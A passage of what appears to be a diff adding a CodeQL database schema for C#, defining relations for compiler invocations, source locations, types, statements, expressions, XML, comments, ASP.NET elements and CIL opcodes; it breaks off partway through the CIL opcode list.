`cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = 